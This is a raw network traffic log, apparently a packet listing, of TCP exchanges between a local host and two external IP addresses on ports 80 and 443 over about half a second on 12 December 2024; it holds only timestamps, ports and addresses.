Dec 12, 2024 14:26:29.219321012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.220009089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.220021009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.220030069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.221682072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.221693993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.221815109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.221815109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.221848011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.221860886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.222765923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.222886086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.223017931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.223504066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.223515987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.223642111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.224363089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.224432945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.225330114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.225342989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.225447893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.225447893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.226211071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.226281881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.226685047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.227163076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.227266073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.227322102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.227509022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.227972031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.228022099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.228562117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.228636980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.228919983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.228993893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.229326963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.229677916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.229762077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.229799986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.230530024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.230634928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.230792046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.231456995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.231539011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.231591940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.231710911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.232363939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.232445955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.233211994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.233418941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.233443975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.234131098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.234383106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.234500885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.235111952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.235152006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.235259056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.235903025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.236031055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.236200094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.236752987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.236948967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.237679005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.237847090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.237942934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.238697052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.238790989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.238852978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.239411116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.239558935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.239619970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.240297079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.240365982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.240374088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.241183996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.241303921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.241856098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.242162943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.242285013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.242973089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.243089914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.243338108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.243860006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.243976116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.244335890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.244741917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.244926929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.244939089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.245765924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.245934963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.246447086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.246534109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.246706963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.246773005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.247570038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.247764111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.248110056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.248711109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.248869896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.249563932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.249639988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.249650002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.250416994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.250485897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.250504017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.251362085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.251426935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.251559019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.252177000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.252196074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.252270937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.253025055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.253477097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.486656904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.486763954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.487121105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.487222910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.487242937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.488023043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.488217115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.488266945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.488934994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.489063978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.489110947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.489813089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.489937067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.490771055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.490828991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.490926027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.491736889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.491796970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.491830111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.492563963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.492624998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.492691040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.493571997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.493623018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.493671894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.494574070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.495091915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.495573044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.495640993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.495768070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.496471882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.496524096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.496645927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.497328997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.497375965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.497474909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.497721910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.498203993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.498332024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.499068975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.499119043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.499162912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.499727011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.499826908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.499875069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.500544071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.500747919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.501396894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.501449108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.501688004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.502332926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.502479076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.502523899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.503281116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.503432989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.504010916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.504071951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.504081964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.504882097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.504965067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.505000114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.505027056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.505052090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.505799055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.505942106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.506592035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.506642103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.506724119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.507639885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.507765055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.507812977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.508666992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.508867979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.509605885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.509659052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.509674072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.510413885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.510516882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.510581970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.511141062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.511207104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.511269093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.511888027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.511924028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.511977911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.512861013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.512902021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.512967110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.513705969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.513938904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.513993979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.514698982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.514740944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.514806986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.515647888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.515701056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.515748978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.516450882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.516556025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.516603947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.517345905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.517425060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.517465115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.518138885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.518243074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.519102097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.519154072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.519197941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.519933939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.520030975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.520078897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.520785093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.520909071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.521675110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.521718025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.521786928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.522563934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.522660017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.522718906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.523468018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.523561001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.523607016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.524334908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.524519920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.524585009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.525325060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.525347948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.525727034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.526087046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.526257992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.526415110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.526977062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.527103901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.527158976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.527875900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.528007030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.528800964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.528882027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.528882980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.529670954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.529730082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.529853106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.530534029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.530651093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.530704975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.531708002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.531841040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.532618999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.532686949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.532718897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.533458948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.533725023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.609761000 CET	443	49813	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:29.610012054 CET	443	49813	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:29.610063076 CET	49813	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:29.679258108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.679327965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.679354906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.679399967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.679733038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.679776907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.679805994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.679871082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.680769920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.680829048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.680847883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.680891037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.681720972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.681766033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.681859016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.681894064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.682642937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.682678938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.682693005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.682733059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.683512926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.683556080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.683655024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.683726072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.684575081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.684617996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.684720993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.684761047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.685319901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.685360909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.685451984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.685491085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.686311960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.686353922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.686435938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.686479092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.687299967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.687341928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.687375069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.687422991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.688105106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.688144922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.688183069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.688220978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.688853025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.688899040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.688963890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.689002037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.689742088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.689783096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.689892054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.689951897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.690990925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.691034079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.691159964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.691200018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.691881895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.691926003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.691961050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.692006111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.692532063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.692573071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.692574024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.692605972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.693391085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.693439007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.693471909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.693514109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.694366932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.694437981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.694578886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.694619894 CET	49801	80	192.168.2.4	31.41.244.11
